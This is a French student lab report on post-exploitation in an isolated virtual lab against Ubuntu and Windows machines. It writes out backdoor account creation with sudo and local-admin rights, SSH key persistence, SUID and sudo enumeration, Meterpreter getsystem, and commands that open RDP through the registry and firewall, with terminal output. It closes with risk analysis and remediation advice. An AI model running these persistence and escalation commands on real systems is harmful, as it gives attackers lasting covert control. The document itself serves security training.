COMPTE RENDU DU TP3.4 : POST-EXPLOITATION : MAINTIEN D'ACCES ET ELEVATION DE PRIVILEGES

1. Introduction

Dans le but de simule la phase la plus critique d'une cyberattaque : la post-exploitation. Après une intrusion initiale, l'objectif est de transformer un accès temporaire en un contrôle durable et total du système en élevant les privilèges et en créant des mécanismes de persistance.

- **Environnement** :

Attaquant : Kali Linux (IP : 192.168.56.30)

Cible1 : Ubuntu (IP : 192.168.56.10)

Cible2 : Windows (IP : 192.168.56.20)

Cas 1. Post-exploitation sur Linux (Ubuntu)

A. Établissement d'un accès persistant

Pour ne pas dépendre du compte compromis initial, un nouvel utilisateur a été créé :

Action : Création de l'utilisateur backupadmin et ajout au groupe sudo.

Commandes: **sudo adduser backupadmin** tout en vérifiant mon identifiant avec **whoami**

```
lines 1-24/24 (END)
jovanie@ubuntu123:~$ whoami
jovanie
jovanie@ubuntu123:~$ sudo adduser backupadmin
info: Adding user `backupadmin' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `backupadmin' (1001) ...
info: Adding new user `backupadmin' (1001) with group `backupadmin (1001)' ...
info: Creating home directory `/home/backupadmin' ...
info: Copying files from `/etc/skel' ...
New password:
BAD PASSWORD: The password is shorter than 8 characters
Retype new password:
passwd: password updated successfully
Changing the user information for backupadmin
Enter the new value, or press ENTER for the default
        Full Name []: jovanie
        Room Number []: 1234
        Work Phone []: 1234
        Home Phone []: 1234
        Other []: 1234
Is the information correct? [Y/n] y
info: Adding new user `backupadmin' to supplemental / extra groups `users' ...
info: Adding user `backupadmin' to group `users' ...
jovanie@ubuntu123:~$
```

Par la suite nous devons ajoute un Utilisateur au groupe sudo a travers la commande :

sudo usermod -aG sudo backupadmin & groups backupadmin

```
jovanie@ubuntu123:~$ sudo usermod -aG sudo backupadmin
jovanie@ubuntu123:~$ groups backupadmin
backupadmin : backupadmin sudo users
jovanie@ubuntu123:~$
```

B. Mise en place d'un accès Persistant via SSH.

L'utilisation de clés SSH (plus discrètes que les mots de passe) via les commandes :

ssh-keygen via la clé **ssh-copy-id backupadmin@192.168.56.10**

```
┌──(jovanie㉿kali)-[~]
└─$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/jovanie/.ssh/id_ed25519): ssh-copy
-id backupadmin@192.168.56.10
Enter passphrase for "ssh-copy-id backupadmin@192.168.56.10" (empty for no pa
ssphrase):
Enter same passphrase again:
Your identification has been saved in ssh-copy-id backupadmin@192.168.56.10
Your public key has been saved in ssh-copy-id backupadmin@192.168.56.10.pub
The key fingerprint is:
SHA256:EifsxHihol2lFG7V6aGIn62LBmwmzIrkbFbYOLYiDYw jovanie@kali
The key's randomart image is:
+--[ED25519 256]--+
|     o.+. .       |
|    o O .+        |
|   ..B.Bo..       |
| o.+.+.+.         |
|B =. oo S         |
|E& oo ..          |
|@++  .            |
|=*o..             |
|=..  ..           |
+----[SHA256]-----+
```

Cela permet une reconnexion sans laisser de traces de tentatives de connexion par mot de passe. Apres avoir effectuer l'opération, nous pouvons tester la connexion grâce à la commande:

Ssh backupadmin@192.168.56.10

```
┌──(jovanie㉿kali)-[~]
└─$ ssh backupadmin@192.168.56.10
backupadmin@192.168.56.10's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-41-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

534 updates can be applied immediately.
296 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

backupadmin@ubuntu123:~$
```

C. Observation et Élévation de privilèges

L'attaquant cherche à identifier des failles de configuration pour devenir "root" :

Vérification sudo : **sudo -l** permet de voir si l'utilisateur peut exécuter des commandes spécifiques sans mot de passe.

Recherche de fichiers SUID à travers la commande

find / -perm -4000 2>/dev/null : permet d'identifie les programmes qui s'exécutent avec les droits du propriétaire (souvent root). Si un binaire vulnérable possède ce bit, l'escalade est immédiate.

```
backupadmin@ubuntu123:~$ sudo -l
[sudo] password for backupadmin:
Matching Defaults entries for backupadmin on ubuntu123:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User backupadmin may run the following commands on ubuntu123:
    (ALL : ALL) ALL
backupadmin@ubuntu123:~$ find / -perm -4000 2>/dev/null
/snap/core22/1564/usr/bin/chfn
/snap/core22/1564/usr/bin/chsh
/snap/core22/1564/usr/bin/gpasswd
/snap/core22/1564/usr/bin/mount
/snap/core22/1564/usr/bin/newgrp
/snap/core22/1564/usr/bin/passwd
/snap/core22/1564/usr/bin/su
/snap/core22/1564/usr/bin/sudo
/snap/core22/1564/usr/bin/umount
/snap/core22/1564/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1564/usr/lib/openssh/ssh-keysign
/snap/core22/1564/usr/libexec/polkit-agent-helper-1
/snap/snapd/21759/usr/lib/snapd/snap-confine
/usr/sbin/pppd
/usr/bin/fusermount3
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
backupadmin@ubuntu123:~$
```

Cas 2. Post-exploitation sur Windows

1. Élévation de privilèges

À partir d'une session Meterpreter:

Action : Passage d'un utilisateur standard à l'utilisateur SYSTEM (le plus haut niveau sur Windows).

Commandes : **getuid** (vérification) puis **getsystem**.

2. Création d'un compte de secours

Action : Création d'un administrateur local via le shell Windows.

Commandes : **net user supportadmin Password123! /add** & **net localgroup administrateurs supportadmin /add**

```
C:\Windows\system32>net user supportadmin password123! /add
La commande s'est terminée correctement.

C:\Windows\system32>net localgroup administrateur supportadmin /add
L'erreur système 1376 s'est produite.

Le groupe local spécifié n'existe pas.

C:\Windows\system32>net localgroup administrators supportadmin /add
L'erreur système 1376 s'est produite.

Le groupe local spécifié n'existe pas.

C:\Windows\system32>net localgroup Administrateurs supportadmin /add
La commande s'est terminée correctement.

C:\Windows\system32>net user supportadmin
Nom d'utilisateur                          supportadmin
Nom complet
Commentaire
Commentaires utilisateur
Code du pays ou de la région               000 (Valeur par défaut du système)
Compte : actif                             Oui
Le compte expire                           Jamais

Mot de passe : dernier changmt.            4/26/2026 10:02:23 AM
Le mot de passe expire                     6/7/2026 10:02:23 AM
Le mot de passe modifiable                 4/26/2026 10:02:23 AM
Mot de passe exigé                         Oui
L'utilisateur peut changer de mot de passe Oui

Stations autorisées                        Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès                              Jamais
```

3. Ouverture du Bureau à distance (RDP)

Pour un accès graphique discret, le service RDP a été activé via le registre et le pare-feu :

Registre : Modification de fDenyTSConnections à 0.

Pare-feu: netsh advfirewall firewall set rule group="remote desktop" new enable=Yes.

Et activation du bureau distant via la commande :

reg add HKLM\SYSTEM\CurrentControlset\Control\Terminal server /v fDenyTSConnetions /t REG_DWORD /d 0 /f

```
C:\Windows\system32>reg add "HKLM\SYSTEM\CurrentControlset\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /
f
L'opération a réussi.

C:\Windows\system32>
```

Autorisation des pare-feu avec la commande: **netsh advfirewall firewall add name= ACCES_RDP dir=in action=allow protocol=TCP localport=3389**

```
C:\Windows\system32>netsh advfirewall firewall add rule name="ACCES_RDP" dir=in action=allow protocol=TCP localport=3389
Ok.


C:\Windows\system32>
```

4. Analyse des risques en contexte réel d'entreprise

Dans un environnement professionnel, ces manipulations représentent un danger majeur tel que :

- Indépendance vis-à-vis des correctifs : Une fois le compte supportadmin ou backupadmin créé, même si l'administrateur système corrige la faille initiale, l'attaquant reste présent.
- Exfiltration de données : L'accès RDP permet à un attaquant de naviguer visuellement dans les dossiers et d'extraire des données sensibles facilement.
- Mouvement latéral : Depuis ces machines compromises, l'attaquant peut scanner le reste du réseau interne (serveurs de fichiers, contrôleurs de domaine).

5. Mesures de sécurité et Remédiation

Pour contrer ces attaques, les mesures suivantes doivent être mises en place :

- **Mesure de prévention / détection** concernant les points suivants

- Création de comptes non autorisés Surveiller les logs d'événements (Windows Event ID 4720) : Utiliser des solutions SIEM pour alerter en temps réel.
- Utilisation abusive de SSH : Désactiver l'authentification par mot de passe, restreindre l'accès SSH à des IP spécifiques et surveiller le fichier **authorized_keys**.
- Désactiver le RDP sur les postes non nécessaires : Utiliser une passerelle (VPN ou Gateway) et exiger une authentification multi-facteurs (MFA).

- Élévation de privilèges : Appliquer le principe du moindre privilège (PoLP) et auditer régulièrement les droits sudo et les fichiers SUID/GUID.

6. Conclusion

Ce TP démontre que la sécurité ne s'arrête pas à la barrière du pare-feu ou à la mise à jour des logiciels. La détection des comportements suspects (création de compte, modification de registre) est tout aussi cruciale que la prévention, car elle seule permet d'identifier un attaquant déjà présent dans la place.